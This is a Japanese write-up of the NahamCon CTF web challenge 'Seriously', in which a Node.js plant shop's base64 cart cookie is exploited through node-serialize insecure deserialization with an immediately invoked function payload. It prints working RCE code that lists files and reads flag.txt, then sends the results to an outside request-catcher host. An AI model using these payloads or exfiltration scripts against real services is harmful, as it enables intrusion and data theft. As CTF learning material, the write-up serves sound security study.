We are very serious about plants. Seriously, we are. I'm serious.
Connect here:
http://one.jh2i.com:50007
http://two.jh2i.com:50007
http://three.jh2i.com:50007
http://four.jh2i.com:50007
http://five.jh2i.com:50007
植物が買えるサイト。
商品を見たり色々できるけど、商品はカートに入れるだけ。
/ /?category=Indoor /?category=Outdoor カテゴリ分類 categoryに適当なやつとか'を入れてみたけど、何も出てこないだけ /cart カートに入っている一覧が見られる /checkout 工事中 /item/Haworthiopsis%20attenuata /add2cart?item=Haworthiopsis attenuata カートに追加するためのエンドポイント /signup 新規登録 /signin ログイン いつものやつはやったけど、ダメ。 /logout ログアウト
まあ、色々なサイトはあるが、入力が入れられそうな所というと、/cart
だろうなぁ…と思ってはいたが、
SSTIを狙うも全然反応してくれない。
Cookie
authとcartがある。
cartの方はただbase64してあるだけなので、適当に改変して入れなおすと反映される。
ここでSSTIを狙ったが、全然ダメだった。
解説を見た
- ctf-writeups/web-seriously.md at master · empty-jack/ctf-writeups
- CTFtime.org / NahamCon CTF / Seriously / Writeup
あー、安全でないデシリアライゼーション系か…
安全でないデシリアライゼーション
json読込をデシリアライゼーションというかはちょっとわからないのだが、雰囲気は同じ。
以下を読み込んで表示しているが、jsonにjsコードを実は埋め込める。
{"items":{"0":{"name":"Haworthiopsis attenuata","price":19.99,"count":1}}}
evil = { items: { '3': { name: function(){ return "hi"; }, price: 14.99, count: 1 } } }; var serialize = require('node-serialize'); let buff = new Buffer.from(serialize.serialize(evil)); console.log(buff);
このようにしてみると、
{"items":{"3":{"name":"_$$ND_FUNC$$_function(){ return \"hi\"; }","price":14.99,"count":1}}}
こうやって出てくる。
で、ここからが重要なのだが、この関数を実行させるために、即時実行関数式(IIFE)を使う。
{"items":{"3":{"name":"_$$ND_FUNC$$_function(){ return \"hi\"; }()","price":14.99,"count":1}}}
分かりにくいが、関数の末尾に()
を付けている。
これであんましよく分かってないが、関数が自動実行される。
つまりRCEが達成できた。
RCE
RCEの結果は、httpリクエストで飛ばすことにしよう。
まあ、後は好きにする。
以下のようにlsする。
var baseurl = 'https://evilman.requestcatcher.com'; var fs = require('fs'); fs.readdir('/home/user', function (err, files) { if (err) { require('request')(baseurl + '/ls-error', function (error, response, body) { console.log(body); }); } files.forEach(function (file) { require('request')(baseurl + '/ls?file=' + file, function (error, response, body) { console.log(body); }); }); });
flag.txt
があるので、以下のようにcatする。
var baseurl = 'https://evilman.requestcatcher.com'; var fs = require('fs'); fs.readFile('/home/user/flag.txt', function(err, data) { let base64flag = Buffer.from(data).toString('base64'); require('request')(mysite + '/cat?flag=' + base64flag, function (error, response, body) { console.log(body); }); });
base64形式でフラグが出てくる。